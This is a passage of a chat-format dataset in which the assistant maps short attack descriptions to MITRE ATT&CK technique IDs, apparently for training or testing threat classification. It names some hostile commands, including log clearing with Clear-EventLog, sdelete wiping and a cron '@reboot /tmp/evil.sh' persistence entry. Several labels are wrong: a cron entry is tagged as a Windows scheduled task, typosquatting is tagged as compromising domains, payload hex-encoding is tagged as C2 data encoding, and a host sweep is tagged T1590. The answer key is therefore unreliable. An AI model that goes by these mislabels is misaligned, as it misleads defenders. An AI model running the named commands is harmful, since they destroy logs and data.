                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor deploys a trojan that triggers the 'sdelete -z' utility to perform a zero‑fill wipe of free space after deleting files."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leverages search engines to locate exposed configuration files on public repositories that include service credentials."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber‑espionage groups monitor public threat intelligence feeds and exploit disclosed exploit code to craft weaponized payloads."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor changes the retention settings in Azure Monitor logs, causing logs older than seven days to be automatically purged."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor scans registry keys for proxy settings to exfiltrate traffic."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes creating a domain account that is added to the Domain Admins group."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised service account, the threat actor used the Google Cloud Storage JSON API to list and download objects."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet was used to send high-volume UDP packets to random ports on the target, resulting in a network denial of service condition."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary updates the role bindings of a Kubernetes service account, granting cluster‑admin rights."
            },
            {
                "role": "assistant",
                "content": "T1098.003 - Account Manipulation: Additional Cloud Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies the registry key HKLM\\System\\CurrentControlSet\\Services\\LegitService\\ImagePath to point to a malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a deserialization vulnerability, the attacker injects malicious content that executes a PowerShell script on the server."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware was dropped on the system with a .dll extension but its internal header indicated it was actually a PE executable, using file type masquerading to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a man‑in‑the‑browser (MiTB) attack, malicious code intercepts the web session cookie before it is stored in the browser."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker employed \"cmd /c\" combined with \"certutil\" to download a payload from a malicious URL."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a script that calls 'cmd /k' to open a persistent command shell for further commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor intercepts and replays valid RDP authentication handshakes to usurp an active remote desktop session."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through credential dumping, the attacker accesses the DNS server’s administrative interface and changes A records."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique involves appending a hidden payload to the resource fork of an image file, which is later executed when the file is opened on a macOS system."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign distributes a ZIP file named 'HR_Policies.zip' that, once extracted, runs a PowerShell script to download additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker installs a hidden cryptocurrency miner on compromised Windows servers to consume CPU cycles for illicit profit."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leverages the \"New-LocalUser\" PowerShell cmdlet to generate a hidden account."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign leads to the installation of a backdoor that, once activated, wipes the entire mailbox of the compromised user to cover its tracks."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code modifies the boot configuration data to corrupt the startup sequence."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Execution of a backdoor occurred through the Regasm tool registering a malicious assembly."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploitation of default credentials on an IoT thermostat (username: admin, password: admin) to pivot inside the network."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system loads a backdoored network provider DLL, causing all authentication attempts to be logged and exfiltrated."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant communicates with its command server using WebSocket connections over port 443."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware runs a script that executes \"Clear-EventLog -LogName Application\" to erase the Application log."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on the endpoint calls the Native Wi‑Fi API to retrieve SSID names, BSSIDs, and encryption types of surrounding access points."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi‑Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executed a PowerShell script to download and install a malicious payload on the victim's Windows machine."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware implements a domain generation algorithm that uses a combination of the system's MAC address and a counter to generate candidate C2 domains."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary copied a malicious DLL to the target's C$ share and executed it via a scheduled task."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the 'Compress-Archive' PowerShell cmdlet to create an archive of harvested files."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post‑login, the malicious process parses the Linux /etc/shadow file to obtain hashed passwords for offline cracking."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor uses a batch file to invoke the 'cmdkey' command and list credentials from the Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a legitimate VPN service as an external proxy to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker authenticates to a private GitLab instance and clones the repository to obtain proprietary source code."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Drive‑by compromise observed when a victim opens a malicious link in a chat application that loads a compromised web page."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group registers domain names that are typographically similar to the target's brand for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers inject malicious code into a web-based customer support chat widget, capturing all typed messages from users."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor tampers with stored session tokens in the Redis cache to hijack user sessions."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses a file‑splitting utility that creates 2 MB segments, each uploaded over HTTPS to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors acquire a botnet’s command‑and‑control infrastructure by renting compromised IoT devices."
            },
            {
                "role": "assistant",
                "content": "T1583.005 - Acquire Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker replaces the legitimate Windows login DLL with a malicious version that captures credentials and allows unauthorized logins."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Disguise a phishing email attachment as a PDF named \"Invoice_2024.pdf\" while it actually contains an executable script."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script adds a cron entry '@reboot /tmp/evil.sh' to ensure persistence after reboot."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary attempts to discover network configuration by reading the output of 'netsh interface ipv4 show config'."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan copies keylogger output to a hidden folder on a compromised AWS S3 bucket via the S3 REST API."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using LDAP queries, the malicious actor lists all domain trusts to find potential pivot points."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion utilizes a compromised internal proxy to relay C2 communications, making detection difficult for perimeter defenses."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code accesses the Windows Credential Manager to retrieve stored service account passwords for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a compromised microSD card to transport malicious binaries between isolated environments."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leveraged the SecretsDump tool to perform a DCSync attack, extracting domain secrets without needing to dump the SAM."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary obtains access to publicly available cloud storage buckets to store stolen data and tools."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor abuses systemd timers by creating a timer that invokes a persistence script whenever the system clock is updated."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary modifies the /etc/passwd file directly to insert a new user entry with root capabilities."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious DLL is registered to be loaded by a legitimate process whenever a particular DLL load event happens, activating the payload via an event‑triggered trap."
            },
            {
                "role": "assistant",
                "content": "T1546.005 - Event Triggered Execution: Trap"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious program writes random data over the partition alignment sectors, corrupting the disk's layout."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary lists the contents of a compromised Google Cloud Storage bucket to identify confidential documents."
            },
            {
                "role": "assistant",
                "content": "T1619 - Cloud Storage Object Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers embed command payloads within TCP SYN packets to bypass network filters."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system transmits encrypted payloads to a victim‑controlled web server that solely accepts inbound data, implementing one‑way web service communication."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider extracted Azure AD service principal credentials from a misconfigured CI/CD pipeline and used them to provision resources in the cloud."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware copies the system file \"svchost.exe\", renames it to \"system_update.dll\", and runs it to blend in with normal processes."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining initial shell access, the attacker reads the web server's session store files, extracts active session identifiers, and crafts HTTP requests with those identifiers to gain admin access."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder inspects Windows domain trusts to determine where privileged accounts may have access across the enterprise."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An operator accessed a subscription‑only threat intelligence platform to find indicators of compromise specific to the victim."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan establishes a secure channel by encrypting traffic with the victim's public certificate."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries install and use TeamViewer to establish a persistent remote control channel on compromised Windows hosts."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through manipulation of the Linux signal handler, the malware causes interrupt-based termination requests to be ignored, evading process termination."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting a buffer overflow in the VPN appliance's authentication daemon, the attacker injected a new user account with admin privileges."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware injects a DLL into LSASS on the domain controller, altering the way credentials are validated during logon."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a compressed archive containing a disguised DLL that loads in the victim's system after the user extracts and runs it."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs a network sweep of the victim's internal IP range to identify alive hosts and open ports."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script changes the authentication configuration of a VPN server to accept a custom certificate, bypassing standard validation."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is hidden by applying hex encoding to the payload before execution."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insiders leveraged compromised credentials to browse SharePoint sites and copy confidential project documents to a staging server."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
